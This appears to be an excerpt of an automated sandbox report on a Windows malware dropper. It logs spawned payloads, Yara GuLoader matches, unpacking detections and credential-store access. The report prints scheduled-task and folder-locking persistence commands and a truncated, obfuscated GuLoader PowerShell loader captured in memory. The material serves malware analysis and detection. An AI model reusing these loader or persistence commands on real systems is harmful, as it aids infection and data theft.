Source: C:\Users\user\Desktop\a\Creal.exe	Process created: C:\Users\user\Desktop\a\Creal.exe "C:\Users\user\Desktop\a\Creal.exe"
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -noprofile
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\a\Creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\buildz.exe "C:\Users\user\Desktop\a\buildz.exe"
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Process created: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe
Source: C:\Users\user\Desktop\a\buildz.exe	Process created: C:\Users\user\Desktop\a\buildz.exe "C:\Users\user\Desktop\a\buildz.exe"
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -noprofile
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\a\buildz.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\a\buildz.exe	Process created: C:\Users\user\Desktop\a\buildz.exe "C:\Users\user\Desktop\a\buildz.exe" --Admin IsNotAutoStart IsNotTask
Source: unknown	Process created: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe --Task
Source: C:\Users\user\Desktop\a\buildz.exe	Process created: C:\Users\user\Desktop\a\buildz.exe "C:\Users\user\Desktop\a\buildz.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\a\buildz.exe	Process created: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe "C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe"
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	Process created: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe "C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe"
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	Process created: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe --Task
Source: unknown	Process created: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe "C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe" --AutoStart
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
Source: C:\Windows\System32\conhost.exe	Process created: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe "C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe" --AutoStart
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe "C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe" --AutoStart
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\spfasiazx.exe "C:\Users\user\Desktop\a\spfasiazx.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\build3.exe "C:\Users\user\Desktop\a\build3.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\alex.exe "C:\Users\user\Desktop\a\alex.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\wlanext.exe "C:\Users\user\Desktop\a\wlanext.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\Creal.exe "C:\Users\user\Desktop\a\Creal.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: C:\Users\user\Desktop\a\buildz.exe "C:\Users\user\Desktop\a\buildz.exe"	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Desktop\a\spfasiazx.exe	Process created: C:\Users\user\Desktop\a\spfasiazx.exe C:\Users\user\Desktop\a\spfasiazx.exe	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN build3.exe /TR "C:\Users\user\Desktop\a\build3.exe" /F	Jump to behavior
Source: C:\Users\user\Desktop\a\build3.exe	Process created: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe "C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe"	Jump to behavior
Source: C:\Users\user\Desktop\a\alex.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
Source: C:\Users\user\Desktop\a\wlanext.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle minimized $fe32 = Get-Content 'C:\Users\user\AppData\Local\Temp\daemonisk\prvelsens\noneclectically\Recife\Opfindendes\Perlemoret\Servitudes\Margarines.Pos' ; powershell.Exe "$fe32
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -noprofile
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Radiosensitivities Outerwear Opsigelsesaftalernes Spaanlst Afstrmningens Drosera Polyteisterne #>$Specterlikes = """He;udFMauMenRecLetUniBaoFonMa SpVmaAAnR p5Co3Th Ef{Es An Sy X UnpHuaIdrSiaComLa(Bi[ PSAutPhr BiHunShgSk]Mi`$StETetCyaLeglseLerOvnSne RsStiUnt RrFaeKlr PeSl2Ca4ba)Ub; F yd`$PaSkloMilFocSmrDeeinmDye Tr NnBieUn S=Ad S`$AkEDatSpaRogCheScr Ln He Ls Si ItHirFeeUnrRyeAr2 S4Sp.brLLoeUnnHagbat EhSu; K A Pl do Ph`$ImL EoTatSeuJas ObKolHuo KmSisSktOpe En AsWe7Vi3Da P=Re CaNDae MwFo- COUnbBajfieUncSatdi RsbGry BtFreDe[Ty] A Rd(Tf`$ SS AoInlGecEnrTjeMamUneStrStnPaeVa Li/Ja Fo2Al)At;Te up`$SvPbeoSowDrs V= S'PrS GUUn' S+Pr'ArBKoSIsTReRTeI BNPlGPr'Ne;Re I Pr Fr DrFAko FrBu( R`$DeS QtCoaIskAki FtStt PeTrrcrt ToInm PtAreDeo BrOpiLysHe= S0se;Po Zo`$KoSTotDeaDakIniHjt Ot Fe TrGatFioSemTjt LeSto KrHeiWisVu Ar-ChlLitFi Oo`$InSTeoOvlRecder SeSpmBaePar InRoesu;Ns No`$UnS LtSnaCikDriOctShtSeestrJatFloInmRet EeSpoAcrGaimrsMe+An=Mi2 A)Me{Pr Mo Vo Me An Ma P S Gr`$ PLProQut AuSesDibSklcho HmTrsSltOueEinkvs a7Ke3St[Pa`$HjS It PaAnk MiDetLstSteWorNotFooSumFutAnesaoPlrReiUdsKe/Mi2Vi] C Ch=Sw Sy[OrcDioAcnwavEmeFrrSetAs]Kl:Kl:MeTKuoAsB byAftKieBi(Co`$MuEPatGuaAag De QrIlnAnefesSpi Nt Kr TeDarJeeNo2Re4 P.Me`$CoP ToNawMysbr.PeIHjnElv EoHykAneSe(Sa`$MaS EtMaaFek Ri CtLntKoeeprNet PoIsm Bt HeSuo BrKniChsBr,Ca Vr2Mi) D,in T1Se6su)Ps;Ul Pr Ne`$ BLHyo DtBuu SsTib PlCooTumFasOntSteSenEmsmu7Sp3Af[Fo`$ SS NtFoaFlkKai LtDottaeVor BtUnoHem AtMaeInoBlr SiInsDe/Mo2Cr] A U=un Bs TuUnbOrs PeDiwMeeAgrSe8Pr Ir`$StLObougtLouSksvibTalDioNomHjsTotJaeSpnVasIn7 S3Mi[Us`$NeS ptNoaKok Pi Bt Tt deWarTatTso SmBetDeeDioAdr MisasEr/Br2De]Cu Re6 T4Em;bi Ma U Ho Sa} M An[ArSFltMar kiApnTrgCe]Le[FoSrayUnsPstmieKamTa.CoTCoeFrxCotSr. PEgenOlcBeoWrdUnihinnogRe]Tr:Sa:FrAkaSAlCTeIChIFr.VaGEnePrtSmSSitNorRui TnFagSc(Pa`$StLReo VtRau HsNdbAllPioMamGusIntPaeMenDes S7 V3Pu) Q;Un} A`$FuS ToGagPanPoeSifFooFigPre AdBuePirStnPaeSu0Am=ToVInAfeRLi5no3Ru Di'la1Te3Th3En9Sa3 E3Sp3Pr4Kr2 S5 s2BaDLa6UnEMi2Be4Tr2SkC M2InCBa'Ko;di`$SrSSyo AgDrnPte Tfaro ggTheOpdSte SrHdnMieHy1An=SlVAaAUlR I5Me3 B R' F0GaDBu2Hy9Ov2 S3St3 P2Vi2UnFVa3Py3Br2CoFzo2Un6Sl3 A4mi6spE P1Fe7 L2He9Fa2 AERa7Po3cl7 Q2Li6 FEBo1Tr5Dr2ThE V3Re3Fl2 H1Pr2Po6De2Sk5po0PeEDi2An1 B3 T4 C2Re9 M3 I6 S2Fa5Me0 IDEk2Pr5Um3Ba4Ob2Af8di2 CFOr2Un4Mo3 F3Ge' H;To`$NeS OoAfgAun TeCafbuoUtg weDadTeeChr AnOmeTh2De= RV KAViRFu5Ga3El Ca'cu0Fj7Br2pe5in3St4Di1Un0Ph3Te2Kn2FoFUn2 b3Dy0Sc1Gr2Sp4Al2Ou4Fd3Un2 W2 T5Ah3Le3Pa3 B3Me'Ko;La`$ThSEcoUngOvnPaeLyfSioCogUdeUnd peSarAmnNaeJe3Gi=kuVByAKoR V5st3Ar D'Ke1Ej3Ho3 m9 L3 B3kr3To4Br2Ra5Sl2RsDKo6MaE F1Ro2Bl3Tv5 D2SoE G3 A4de2Re9Id2ReDKa2Be5In6OeEVa0 T9un2SkERe3Sm4Am2Bu5su3St2Ol2AdFRa3Ly0Re1 I3Ga2Et5Fa3ya2 N3Co6Ba2 A9Me2Sk3Ri2 R5Fe3gr3 P6BeEVr0To8Er2Un1Pr2CeESo2In4ef2JaCMa2gu5 O1Sa2Qu2Sm5Th2De6Mo'Va; P`$tuSMaoPtgApnMeeHjf Ro BgPieOsdSle ErAknLge F4Fi= MVOpAecRSc5An3Zo Hu' S3or3Ra3Un4 H3Ti2Il2Fr9 T2FnEIn2
Source: C:\Users\user\Desktop\a\Creal.exe	Process created: C:\Users\user\Desktop\a\Creal.exe "C:\Users\user\Desktop\a\Creal.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Program Files (x86)\Windows Mail\wab.exe C:\Program Files (x86)\windows mail\wab.exe
Source: C:\Users\user\Desktop\a\Creal.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c "tasklist"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tasklist.exe tasklist
Source: C:\Users\user\Desktop\a\buildz.exe	Process created: C:\Users\user\Desktop\a\buildz.exe "C:\Users\user\Desktop\a\buildz.exe"
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -nologo -noprofile
Source: C:\Users\user\Desktop\a\buildz.exe	Process created: C:\Windows\SysWOW64\icacls.exe icacls "C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Source: C:\Users\user\Desktop\a\buildz.exe	Process created: C:\Users\user\Desktop\a\buildz.exe "C:\Users\user\Desktop\a\buildz.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\Desktop\a\buildz.exe	Process created: C:\Users\user\Desktop\a\buildz.exe "C:\Users\user\Desktop\a\buildz.exe" --Admin IsNotAutoStart IsNotTask
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	Process created: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe --Task
Source: C:\Users\user\Desktop\a\buildz.exe	Process created: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe "C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe"
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	Process created: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe "C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe"
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	Process created: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe "C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe" --AutoStart
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\a\spfasiazx.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\New_Text_Document_mod.exse.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Source: New_Text_Document_mod.exse.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Source: New_Text_Document_mod.exse.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: Lpfy.pdbSHA256 source: spfasiazx.exe, 00000002.00000000.1664008993.0000000000D12000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\unicodedata.pdb source: Creal.exe, 00000012.00000003.1820582722.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: Rktv.pdbSHA256 source: alex.exe, 0000000C.00000000.1730115148.0000000000A82000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: uC:\Windows\dll\System.pdb source: spfasiazx.exe, 00000004.00000002.1715482495.00000000010D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_overlapped.pdb source: Creal.exe, 00000012.00000003.1807872223.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\woveki.pdb source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000000.1765612767.0000000000807000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: DC:\woveki.pdb source: e0cbefcb1af40c7d4aff4aca26621a98.exe, 0000000F.00000000.1765612767.0000000000807000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: Lpfy.pdb source: spfasiazx.exe, 00000002.00000000.1664008993.0000000000D12000.00000002.00000001.01000000.00000006.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdb source: Creal.exe, 00000012.00000003.1806013965.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140.amd64.pdbGCTL source: Creal.exe, 00000012.00000003.1806013965.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: uindows\Lpfy.pdbpdbpfy.pdb\|9\ source: spfasiazx.exe, 00000004.00000002.1715482495.00000000010D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_multiprocessing.pdb source: Creal.exe, 00000012.00000003.1807789066.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdb source: Creal.exe, 00000012.00000003.1806435544.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: buildz.exe, buildz.exe, 00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\select.pdb source: Creal.exe, 00000012.00000003.1819290471.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_hashlib.pdb source: Creal.exe, 00000012.00000003.1807497875.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdbNN source: Creal.exe, 00000012.00000003.1807625410.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_uuid.pdb source: Creal.exe, 00000012.00000003.1810005632.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_asyncio.pdb source: Creal.exe, 00000012.00000003.1806534825.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_queue.pdb source: Creal.exe, 00000012.00000003.1807980644.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\exe\Lpfy.pdb source: spfasiazx.exe, 00000004.00000002.1715482495.00000000010D6000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_lzma.pdb source: Creal.exe, 00000012.00000003.1807625410.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_bz2.pdb source: Creal.exe, 00000012.00000003.1806656486.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: buildz.exe, 00000028.00000002.1925950067.0000000002650000.00000040.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb source: Creal.exe, 00000012.00000003.1810104772.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n(C:\Windows\Lpfy.pdb source: spfasiazx.exe, 00000004.00000002.1714977892.0000000000CF9000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: Rktv.pdb source: alex.exe, 0000000C.00000000.1730115148.0000000000A82000.00000002.00000001.01000000.00000010.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_socket.pdb source: Creal.exe, 00000012.00000003.1808367621.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\1\b\bin\amd64\_wmi.pdb''&GCTL source: Creal.exe, 00000012.00000003.1810104772.000001D16E957000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: D:\a\_work\1\s\binaries\amd64ret\bin\amd64\\vcruntime140_1.amd64.pdbGCTL source: Creal.exe, 00000012.00000003.1806435544.000001D16E957000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Unpacked PE file: 15.2.e0cbefcb1af40c7d4aff4aca26621a98.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Users\user\AppData\Local\Temp\1000083001\e0cbefcb1af40c7d4aff4aca26621a98.exe	Unpacked PE file: 32.2.e0cbefcb1af40c7d4aff4aca26621a98.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.idata:W;.reloc:R;.symtab:R;
Source: C:\Users\user\Desktop\a\buildz.exe	Unpacked PE file: 33.2.buildz.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\Desktop\a\buildz.exe	Unpacked PE file: 42.2.buildz.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	Unpacked PE file: 44.2.build2.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.reloc:R;
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	Unpacked PE file: 45.2.buildz.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	Unpacked PE file: 48.2.buildz.exe.400000.0.unpack .text:ER;.rdata:R;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;.reloc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\a\buildz.exe	Unpacked PE file: 33.2.buildz.exe.400000.0.unpack
Source: C:\Users\user\Desktop\a\buildz.exe	Unpacked PE file: 42.2.buildz.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\0e02b0bb-f517-46fa-b1ee-2b79cc8d533e\build2.exe	Unpacked PE file: 44.2.build2.exe.400000.0.unpack
Source: C:\Users\user\AppData\Local\f15b091f-1934-40da-8f03-7d990bd3b905\buildz.exe	Unpacked PE file: 45.2.buildz.exe.400000.0.unpack

Yara detected GuLoader

Source: Yara match	File source: 00000013.00000002.2153972596.0000000005F88000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000013.00000002.2174823969.00000000084C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000E.00000002.1771443730.0000000002846000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\nss8CD3.tmp, type: DROPPED
Source: Yara match	File source: 00000013.00000002.2180102614.000000000A871000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

.NET source code contains potential unpacker

Source: 2.2.spfasiazx.exe.30e334c.7.raw.unpack, DyJnyr7x.cs	.Net Code: gom System.Reflection.Assembly.Load(byte[])
Source: 2.2.spfasiazx.exe.30e334c.7.raw.unpack, DyJnyr7x.cs	.Net Code: gom
Source: 2.2.spfasiazx.exe.30e334c.7.raw.unpack, nOxqUk.cs	.Net Code: EODPpRtDO System.Reflection.Assembly.Load(byte[])
Source: 2.2.spfasiazx.exe.30e334c.7.raw.unpack, nOxqUk.cs	.Net Code: tYNqwwOI System.Reflection.Assembly.Load(byte[])
Source: 2.2.spfasiazx.exe.30e334c.7.raw.unpack, nOxqUk.cs	.Net Code: tYNqwwOI
Source: 2.2.spfasiazx.exe.30d946c.2.raw.unpack, DyJnyr7x.cs	.Net Code: gom System.Reflection.Assembly.Load(byte[])
Source: 2.2.spfasiazx.exe.30d946c.2.raw.unpack, DyJnyr7x.cs	.Net Code: gom
Source: 2.2.spfasiazx.exe.30d946c.2.raw.unpack, nOxqUk.cs	.Net Code: EODPpRtDO System.Reflection.Assembly.Load(byte[])
Source: 2.2.spfasiazx.exe.30d946c.2.raw.unpack, nOxqUk.cs	.Net Code: tYNqwwOI System.Reflection.Assembly.Load(byte[])
Source: 2.2.spfasiazx.exe.30d946c.2.raw.unpack, nOxqUk.cs	.Net Code: tYNqwwOI
Source: 2.2.spfasiazx.exe.44535e8.10.raw.unpack, HGT2HfNxEkVpRA4N7p.cs	.Net Code: zqcrMuqNgh System.Reflection.Assembly.Load(byte[])
Source: 2.2.spfasiazx.exe.7f20000.14.raw.unpack, AssemblyResolverHelper.cs	.Net Code: ResolveAssembly System.Reflection.Assembly.Load(byte[])
Source: 2.2.spfasiazx.exe.79f0000.13.raw.unpack, HGT2HfNxEkVpRA4N7p.cs	.Net Code: zqcrMuqNgh System.Reflection.Assembly.Load(byte[])

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: GetDelegateForFunctionPointer((fkp $knkfri $waterlogs4), (GDT @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$Ssat = ([AppDomain]::CurrentDomain.GetAssemblies() \| Where-Object { $_.GlobalAssemb
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Sognefogederne8)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($Sognefogederne9, $false).DefineType($wate

Suspicious powershell command line found

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "<#Radiosensitivities Outerwear Opsigelsesaftalernes Spaanlst Afstrmningens Drosera Polyteisterne #>$Specterlikes = """He;udFMauMenRecLetUniBaoFonMa SpVmaAAnR p5Co3Th Ef{Es An Sy X UnpHuaIdrSiaComLa(Bi[ PSAutPhr BiHunShgSk]Mi`$StETetCyaLeglseLerOvnSne RsStiUnt RrFaeKlr PeSl2Ca4ba)Ub; F yd`$PaSkloMilFocSmrDeeinmDye Tr NnBieUn S=Ad S`$AkEDatSpaRogCheScr Ln He Ls Si ItHirFeeUnrRyeAr2 S4Sp.brLLoeUnnHagbat EhSu; K A Pl do Ph`$ImL EoTatSeuJas ObKolHuo KmSisSktOpe En AsWe7Vi3Da P=Re CaNDae MwFo- COUnbBajfieUncSatdi RsbGry BtFreDe[Ty] A Rd(Tf`$ SS AoInlGecEnrTjeMamUneStrStnPaeVa Li/Ja Fo2Al)At;Te up`$SvPbeoSowDrs V= S'PrS GUUn' S+Pr'ArBKoSIsTReRTeI BNPlGPr'Ne;Re I Pr Fr DrFAko FrBu( R`$DeS QtCoaIskAki FtStt PeTrrcrt ToInm PtAreDeo BrOpiLysHe= S0se;Po Zo`$KoSTotDeaDakIniHjt Ot Fe TrGatFioSemTjt LeSto KrHeiWisVu Ar-ChlLitFi Oo`$InSTeoOvlRecder SeSpmBaePar InRoesu;Ns No`$UnS LtSnaCikDriOctShtSeestrJatFloInmRet EeSpoAcrGaimrsMe+An=Mi2 